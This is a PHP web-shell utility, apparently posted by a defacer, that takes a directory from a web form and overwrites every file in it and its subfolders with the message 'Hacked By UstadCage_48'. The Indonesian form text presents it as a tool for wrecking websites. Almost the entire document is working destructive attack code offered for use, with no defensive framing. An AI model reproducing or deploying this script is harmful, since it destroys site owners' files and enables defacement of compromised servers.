Mass deface web xxx

<?php
error_reporting(0);
$returnValue = explode('public_html',getcwd());
$base_dirs = $returnValue[0];
function deface($dir){
  $script = "Hacked By UstadCage_48";
  if (file_put_contents ($dir, $script)){
  echo "shor7cut-shell:~ $dir&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  }
}
if($_POST['modar']){
$pt = $_POST['dir'];
$scandir = scandir($pt,1);
  foreach($scandir as $dir){
    if(!is_dir($dir) || !$dir == "." || !$dir == ".."){
  deface($pt."/".$dir);
    }
    foreach (scandir($pt.$dir,1) as $key => $value) {
    if(!is_dir($value) || !$value == "." || !$value == ".."){
  deface($pt."/".$value);
    }
    }
 }
 }
 ?>
 <form action="" method="post">Tools untuk memodarkan website bokep <br>
   <input type="text" name="dir" value="<?php echo $base_dirs;?>">
   <input type="submit" name="modar" value="modarkan coeg :v">
 </form>